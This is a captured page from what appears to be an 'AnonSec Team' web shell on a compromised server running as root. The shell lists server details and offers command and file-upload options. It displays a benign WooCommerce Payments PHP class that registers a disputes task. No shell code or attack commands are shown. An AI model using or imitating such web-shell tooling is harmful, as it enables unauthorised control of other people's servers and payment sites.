AnonSec Team
Server IP : 10.1.204.1  /  Your IP : 216.73.216.250
Web Server : Apache/2.4.66 (Debian)
System : Linux madang-bd97cb958-x26ms 6.8.0-78-generic #78-Ubuntu SMP PREEMPT_DYNAMIC Tue Aug 12 11:28:09 UTC 2025 aarch64
User : root ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF
Directory (0755) :  /var/www/html/wp-content/plugins/woocommerce-payments/includes/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /var/www/html/wp-content/plugins/woocommerce-payments/includes/class-wc-payments-tasks.php
<?php
/**
 * WC_Payments_Tasks class
 *
 * @package WooCommerce\Payments\Tasks
 */

use Automattic\WooCommerce\Admin\Features\OnboardingTasks\TaskLists;
use WooCommerce\Payments\Tasks\WC_Payments_Task_Disputes;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * Hooks into WC TaskLists to display WCPay tasks.
 */
class WC_Payments_Tasks {

	/**
	 * WC_Payments_Admin_Tasks constructor.
	 */
	public static function init() {
		// As WooCommerce Onboarding tasks need to hook into 'init' and requires an API call.
		// We only add this task for users who can manage_woocommerce / view the task.
		if ( ! current_user_can( 'manage_woocommerce' ) ) {
			return;
		}

		add_action( 'init', [ __CLASS__, 'add_task_disputes_need_response' ] );
	}

	/**
	 * Adds a task to the WC 'Things to do next' task list the if disputes awaiting response.
	 */
	public static function add_task_disputes_need_response() {
		$account_service = WC_Payments::get_account_service();
		// The task is not required if the account is not connected, under review, or rejected.
		if ( ! $account_service || ! $account_service->is_stripe_account_valid() || $account_service->is_account_under_review() || $account_service->is_account_rejected() ) {
			return;
		}
		include_once WCPAY_ABSPATH . 'includes/admin/tasks/class-wc-payments-task-disputes.php';

		// 'extended' = 'Things to do next' task list on WooCommerce > Home.
		TaskLists::add_task( 'extended', new WC_Payments_Task_Disputes() );
	}
}

AnonSec - 2021